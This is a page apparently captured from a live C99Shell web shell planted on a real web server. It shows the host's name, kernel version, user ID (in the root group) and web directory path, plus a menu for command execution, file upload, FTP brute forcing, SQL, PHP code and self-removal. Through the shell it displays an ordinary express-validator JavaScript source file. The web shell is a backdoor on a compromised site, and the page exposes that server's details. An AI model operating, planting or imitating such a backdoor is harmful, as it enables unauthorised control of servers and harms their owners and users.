!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wa.picotech.app/public_html/node_modules/express-validator/src/chain/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     context-runner-impl.js (3.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.ContextRunnerImpl = exports.ResultWithContextImpl = void 0;
const _ = require("lodash");
const base_1 = require("../base");
const context_1 = require("../context");
const field_selection_1 = require("../field-selection");
const validation_result_1 = require("../validation-result");
class ResultWithContextImpl extends validation_result_1.Result {
    constructor(context) {
        super(error => error, context.errors);
        this.context = context;
    }
}
exports.ResultWithContextImpl = ResultWithContextImpl;
class ContextRunnerImpl {
    constructor(builderOrContext, selectFields = field_selection_1.selectFields) {
        this.builderOrContext = builderOrContext;
        this.selectFields = selectFields;
    }
    async run(req, options = {}) {
        const context = this.builderOrContext instanceof context_1.Context
            ? this.builderOrContext
            : this.builderOrContext.build();
        const internalReq = req;
        const bail = internalReq[base_1.contextsKey]?.some(context => context.bail && context.errors.length > 0);
        if (bail) {
            return new ResultWithContextImpl(context);
        }
        const instances = this.selectFields(req, context.fields, context.locations);
        context.addFieldInstances(instances);
        const haltedInstances = new Set();
        for (const contextItem of context.stack) {
            const promises = context.getData({ requiredOnly: true }).map(async (instance) => {
                const { location, path } = instance;
                const instanceKey = `${location}:${path}`;
                if (haltedInstances.has(instanceKey)) {
                    return;
                }
                try {
                    await contextItem.run(context, instance.value, {
                        req,
                        location,
                        path,
                    });
                    // An instance is mutable, so if an item changed its value, there's no need to call getData again
                    const newValue = instance.value;
                    // Checks whether the value changed.
                    // Avoids e.g. undefined values being set on the request if it didn't have the key initially.
                    const reqValue = path !== '' ? _.get(req[location], path) : req[location];
                    if (!options.dryRun && reqValue !== instance.value) {
                        path !== '' ? _.set(req[location], path, newValue) : _.set(req, location, newValue);
                    }
                }
                catch (e) {
                    if (e instanceof base_1.ValidationHalt) {
                        haltedInstances.add(instanceKey);
                        return;
                    }
                    throw e;
                }
            });
            await Promise.all(promises);
        }
        if (!options.dryRun) {
            internalReq[base_1.contextsKey] = (internalReq[base_1.contextsKey] || []).concat(context);
        }
        return new ResultWithContextImpl(context);
    }
}
exports.ContextRunnerImpl = ContextRunnerImpl;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--